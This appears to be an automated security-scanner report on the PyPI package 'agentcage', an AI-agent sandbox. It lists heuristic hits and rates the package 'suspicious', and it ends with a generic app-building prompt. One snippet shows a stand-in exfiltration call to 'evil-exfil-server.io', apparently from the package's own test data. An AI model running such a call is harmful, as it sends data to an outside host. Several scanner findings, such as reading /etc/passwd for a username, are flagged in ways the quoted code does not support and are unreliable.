agentcage

v0.22.21 suspicious
6.0
Medium Risk

Defense-in-depth proxy sandbox for AI agents

🤖 AI Analysis

Final verdict: SUSPICIOUS

The package exhibits significant risks related to shell execution and credential access, indicating potential unauthorized system modifications. Despite these concerns, the lack of obfuscation and lower metadata risks suggest it may not be malicious.

  • High shell risk due to potential unauthorized system changes.
  • Significant credential risk from reading /etc/passwd.
Per-check LLM notes
  • Network: The network calls seem to be making HTTP requests to an external server which could be for legitimate purposes like checking for updates or fetching configuration. However, the URL is not fully specified and should be verified.
  • Shell: Executing shell commands, especially those related to package management and system operations like 'uv lock', raises concerns as it may indicate unauthorized changes to the system or dependencies.
  • Obfuscation: No signs of obfuscation detected.
  • Credentials: Code reads /etc/passwd which may indicate an attempt to harvest credentials or perform operations based on user IDs.
  • Metadata: The maintainer has only one package, suggesting they may be new or less active, but no other red flags are present.

🔬 Heuristic Checks

Outbound Network Calls score 9.0

Found 6 network call pattern(s)

  • ulttimeout() try: socket.setdefaulttimeout(5) socket.getaddrinfo("example.com", 80) ret
  • tivity") finally: socket.setdefaulttimeout(old_timeout) def check_subnet_conflicts() -> CheckResult:
  • urn parsed JSON.""" req = urllib.request.Request(url) req.add_header("User-Agent", "agentcage-upd
  • ge-update-deps/1.0") with urllib.request.urlopen(req, timeout=30) as resp: # noqa: S310 retu
  • \n" " urllib.request.urlopen('https://evil-exfil-server.io', timeout=5)\n"
  • ).encode() req = urllib.request.Request( self._token_uri, data=body,
Code Obfuscation

No obfuscation patterns detected

Shell / Subprocess Execution score 10.0

Found 6 shell execution pattern(s)

  • \n[python] uv.lock") r = subprocess.run( ["uv", "lock", "--check"], capture_output=T
  • adeable packages r2 = subprocess.run( ["uv", "lock", "--upgrade", "--dry-run"],
  • if update: subprocess.run( ["uv", "lock", "--upgrade"],
  • if update: subprocess.run(["uv", "lock", "--upgrade"], cwd=REPO_ROOT, check=True)
  • return the digest.""" r = subprocess.run( ["skopeo", "inspect", f"docker://{image_ref}"],
  • ned output). Run via subprocess.run (not os.execvp like the cage_exec command, which repl
Credential Harvesting score 10.0

Found 5 credential access pattern(s)

  • that # reads /etc/passwd for uid 1000 and re-exports HOME/ # USER/LO
  • thout a uid 1000 in ``/etc/passwd`` (busybox, scratch-based) that default is gid 0 (r
  • a # uid 1000 entry in /etc/passwd (default gid would be 0). spec = "0:0" if as_root e
  • the uid-1000 user's name from /etc/passwd at runtime — capsh's --user= takes a name, and the name
  • "] # The script reads /etc/passwd for uid 1000 and exports the # right HOME/USER/LOGN
Typosquatting

No typosquatting candidates detected

Registered Email Domain

No author email provided

Suspicious Page Links

All external links appear legitimate

Git Repository History

Repository agentcage/agentcage appears legitimate

Maintainer History score 2.0

1 maintainer concern(s) found

  • Author "Luca Martinetti" appears to have only 1 package on PyPI (new or inactive account)
Known CVE Vulnerabilities

No known vulnerabilities found in OSV database.

💡 AI App Starter Prompt

Use this prompt to build a project with agentcage
Create a secure communication tool using the 'agentcage' package that allows users to send encrypted messages through a proxy sandbox environment, ensuring the privacy and integrity of their communications. This tool will serve as a practical demonstration of 'agentcage's defense-in-depth capabilities.

### Project Overview:
- **Tool Name:** SecureChat
- **Objective:** Develop a simple yet effective chat application that leverages 'agentcage' for secure message transmission.
- **Features:**
  - User Authentication: Implement basic user registration and login functionality.
  - Message Encryption: All messages should be encrypted before being sent through the proxy sandbox.
  - Proxy Sandbox Environment: Use 'agentcage' to create a secure, isolated environment for message processing and transmission.
  - Logging: Maintain logs of all transactions for auditing purposes.
  - User Interface: Provide a simple web-based interface for sending and receiving messages.

### Implementation Steps:
1. **Setup Environment:** Ensure you have Python installed and set up a virtual environment. Install necessary packages including 'agentcage'.
2. **User Authentication:** Create a user database using SQLite or another lightweight database system. Implement functions for user registration and login.
3. **Message Handling:** Design a function to handle message input from users, encrypt these messages, and then pass them through the 'agentcage' proxy sandbox for secure transmission.
4. **Proxy Sandbox Configuration:** Configure 'agentcage' to ensure that all outgoing messages are processed within a secure, isolated environment that prevents any unauthorized access or data leakage.
5. **Logging Mechanism:** Integrate logging into your application to track all actions performed by users and the status of message transmissions.
6. **Web Interface Development:** Build a simple web frontend using Flask or Django to facilitate user interaction. Ensure the interface is intuitive and user-friendly.
7. **Testing & Deployment:** Thoroughly test your application for security vulnerabilities and functionality issues. Once satisfied, deploy it on a server accessible via the internet.

### Utilization of 'agentcage':
- **Security Layering:** Use 'agentcage' to add multiple layers of security around your messaging system, enhancing its resilience against attacks.
- **Isolation:** Leverage 'agentcage's capability to run processes in isolated environments to protect sensitive operations such as encryption and decryption.
- **Audit Trails:** Enable 'agentcage' to help maintain detailed logs of all interactions with the messaging system, aiding in compliance and troubleshooting.